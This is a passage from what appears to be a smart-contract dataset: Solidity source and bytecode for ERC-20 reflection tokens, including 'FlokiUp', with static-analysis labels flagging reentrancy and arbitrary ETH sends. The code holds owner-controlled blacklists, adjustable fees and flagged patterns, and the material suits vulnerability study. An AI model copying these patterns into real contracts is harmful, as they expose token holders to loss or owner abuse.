tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 50000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610545578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a2a957bb146104c0578063a9059cbb146104e0578063bfd7928414610500578063c3c8cd801461053057600080fd5b80638f70ccf7116100d15780638f70ccf71461046a5780638f9a55c01461048a57806395d89b411461020957806398a5c315146104a057600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638203f5fe146104375780638da5cb5b1461044c57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024b57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611ab3565b6105eb565b005b34801561021557600080fd5b50604080518082018252600a815269415a4b4142414e494e5560b01b602082015290516102429190611b78565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611bcd565b61068a565b6040519015158152602001610242565b34801561028757600080fd5b5060135461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50678ac7230489e800005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611bf9565b6106a1565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060145461029b906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611c3a565b61070a565b34801561037657600080fd5b50610207610385366004611c67565b610755565b34801561039657600080fd5b5061020761079d565b3480156103ab57600080fd5b506102ca6103ba366004611c3a565b6107ca565b3480156103cb57600080fd5b506102076107ec565b3480156103e057600080fd5b506102076103ef366004611c82565b610860565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611c3a565b60116020526000908152604090205481565b34801561044357600080fd5b506102076108a2565b34801561045857600080fd5b506000546001600160a01b031661029b565b34801561047657600080fd5b50610207610485366004611c67565b610a5a565b34801561049657600080fd5b506102ca60165481565b3480156104ac57600080fd5b506102076104bb366004611c82565b610ab9565b3480156104cc57600080fd5b506102076104db366004611c9b565b610ae8565b3480156104ec57600080fd5b5061026b6104fb366004611bcd565b610b42565b34801561050c57600080fd5b5061026b61051b366004611c3a565b60106020526000908152604090205460ff1681565b34801561053c57600080fd5b50610207610b4f565b34801561055157600080fd5b50610207610560366004611ccd565b610b85565b34801561057157600080fd5b506102ca610580366004611d51565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506102076105c6366004611c82565b610c26565b3480156105d757600080fd5b506102076105e6366004611c3a565b610c55565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611d8a565b60405180910390fd5b60005b81518110156106865760016010600084848151811061064257610642611dbf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611deb565b915050610621565b5050565b6000610697338484610d3f565b5060015b92915050565b60006106ae848484610e63565b61070084336106fb85604051806060016040528060288152602001611f05602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611350565b610d3f565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611d8a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611d8a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bd57600080fd5b476107c78161138a565b50565b6001600160a01b03811660009081526002602052604081205461069b906113c4565b6000546001600160a01b031633146108165760405162461bcd60e51b815260040161061590611d8a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161061590611d8a565b66b1a2bc2ec50000811161089d57600080fd5b601555565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161061590611d8a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611e06565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611e06565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a379190611e06565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a845760405162461bcd60e51b815260040161061590611d8a565b601454600160a01b900460ff1615610a9b57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161061590611d8a565b601755565b6000546001600160a01b03163314610b125760405162461bcd60e51b815260040161061590611d8a565b60095482111580610b255750600b548111155b610b2e57600080fd5b600893909355600a91909155600955600b55565b6000610697338484610e63565b6012546001600160a01b0316336001600160a01b031614610b6f57600080fd5b6000610b7a306107ca565b90506107c781611448565b6000546001600160a01b03163314610baf5760405162461bcd60e51b815260040161061590611d8a565b60005b82811015610c20578160056000868685818110610bd157610bd1611dbf565b9050602002016020810190610be69190611c3a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c1881611deb565b915050610bb2565b50505050565b6000546001600160a01b03163314610c505760405162461bcd60e51b815260040161061590611d8a565b601655565b6000546001600160a01b03163314610c7f5760405162461bcd60e51b815260040161061590611d8a565b6001600160a01b038116610ce45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610da15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610e025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610f295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610f8b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610fb757506000546001600160a01b03838116911614155b1561124957601454600160a01b900460ff16611050576000546001600160a01b038481169116146110505760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b6015548111156110a25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526010602052604090205460ff161580156110e457506001600160a01b03821660009081526010602052604090205460ff16155b6110ed57600080fd5b6014546001600160a01b03838116911614611172576016548161110f846107ca565b6111199190611e23565b106111725760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b600061117d306107ca565b6017546015549192508210159082106111965760155491505b8080156111ad5750601454600160a81b900460ff16155b80156111c757506014546001600160a01b03868116911614155b80156111dc5750601454600160b01b900460ff165b801561120157506001600160a01b03851660009081526005602052604090205460ff16155b801561122657506001600160a01b03841660009081526005602052604090205460ff16155b156112465761123482611448565b478015611244576112444761138a565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061128b57506001600160a01b03831660009081526005602052604090205460ff165b806112bd57506014546001600160a01b038581169116148015906112bd57506014546001600160a01b03848116911614155b156112ca57506000611344565b6014546001600160a01b0385811691161480156112f557506013546001600160a01b03848116911614155b1561130757600854600c55600954600d555b6014546001600160a01b03848116911614801561133257506013546001600160a01b03858116911614155b1561134457600a54600c55600b54600d555b610c20848484846115c2565b600081848411156113745760405162461bcd60e51b81526004016106159190611b78565b5060006113818486611e3b565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b600060065482111561142b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610615565b60006114356115f0565b90506114418382611613565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149057611490611dbf565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150d9190611e06565b8160018151811061152057611520611dbf565b6001600160a01b0392831660209182029290920101526013546115469130911684610d3f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061157f908590600090869030904290600401611e52565b600060405180830381600087803b15801561159957600080fd5b505af11580156115ad573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115cf576115cf611655565b6115da848484611683565b80610c2057610c20600e54600c55600f54600d55565b60008060006115fd61177a565b909250905061160c8282611613565b9250505090565b600061144183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ba565b600c541580156116655750600d54155b1561166c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611695876117e8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116c79087611845565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116f69086611887565b6001600160a01b038916600090815260026020526040902055611718816118e6565b6117228483611930565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161176791815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e800006117958282611613565b8210156117b157505060065492678ac7230489e8000092509050565b90939092509050565b600081836117db5760405162461bcd60e51b81526004016106159190611b78565b5060006113818486611ec3565b60008060008060008060008060006118058a600c54600d54611954565b92509250925060006118156115f0565b905060008060006118288e8787876119a9565b919e509c509a509598509396509194505050505091939550919395565b600061144183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611350565b6000806118948385611e23565b9050838110156114415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610615565b60006118f06115f0565b905060006118fe83836119f9565b3060009081526002602052604090205490915061191b9082611887565b30600090815260026020526040902055505050565b60065461193d9083611845565b60065560075461194d9082611887565b6007555050565b600080808061196e606461196889896119f9565b90611613565b9050600061198160646119688a896119f9565b90506000611999826119938b86611845565b90611845565b9992985090965090945050505050565b60008080806119b888866119f9565b905060006119c688876119f9565b905060006119d488886119f9565b905060006119e6826119938686611845565b939b939a50919850919650505050505050565b600082611a085750600061069b565b6000611a148385611ee5565b905082611a218583611ec3565b146114415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610615565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b8035611aae81611a8e565b919050565b60006020808385031215611ac657600080fd5b823567ffffffffffffffff80821115611ade57600080fd5b818501915085601f830112611af257600080fd5b813581811115611b0457611b04611a78565b8060051b604051601f19603f83011681018181108582111715611b2957611b29611a78565b604052918252848201925083810185019188831115611b4757600080fd5b938501935b82851015611b6c57611b5d85611aa3565b84529385019392850192611b4c565b98975050505050505050565b600060208083528351808285015260005b81811015611ba557858101830151858201604001528201611b89565b81811115611bb7576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611be057600080fd5b8235611beb81611a8e565b946020939093013593505050565b600080600060608486031215611c0e57600080fd5b8335611c1981611a8e565b92506020840135611c2981611a8e565b929592945050506040919091013590565b600060208284031215611c4c57600080fd5b813561144181611a8e565b80358015158114611aae57600080fd5b600060208284031215611c7957600080fd5b61144182611c57565b600060208284031215611c9457600080fd5b5035919050565b60008060008060808587031215611cb157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ce257600080fd5b833567ffffffffffffffff80821115611cfa57600080fd5b818601915086601f830112611d0e57600080fd5b813581811115611d1d57600080fd5b8760208260051b8501011115611d3257600080fd5b602092830195509350611d489186019050611c57565b90509250925092565b60008060408385031215611d6457600080fd5b8235611d6f81611a8e565b91506020830135611d7f81611a8e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611dff57611dff611dd5565b5060010190565b600060208284031215611e1857600080fd5b815161144181611a8e565b60008219821115611e3657611e36611dd5565b500190565b600082821015611e4d57611e4d611dd5565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ea25784516001600160a01b031683529383019391830191600101611e7d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ee057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eff57611eff611dd5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b40347413efd261714bf0baa09744f62d1a56ec8c23a812471e553c320bfe01464736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,046
0x875c0cad48778b730be02c53c671e4b9f3f41224
// ███████╗██╗ ██████╗ ██╗ ██╗██╗██╗ ██╗██████╗ // ██╔════╝██║ ██╔═══██╗██║ ██╔╝██║██║ ██║██╔══██╗ // █████╗ ██║ ██║ ██║█████╔╝ ██║██║ ██║██████╔╝ // ██╔══╝ ██║ ██║ ██║██╔═██╗ ██║██║ ██║██╔═══╝ // ██║ ███████╗╚██████╔╝██║ ██╗██║╚██████╔╝██║ // ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ // Name: FlokiUp // Symbol: FlokiUp // Total Supply: 1T // Telegram: https://t.me/flokiuptoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlokiUpToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FlokiUp"; string private constant _symbol = "FlokiUp"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 30000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100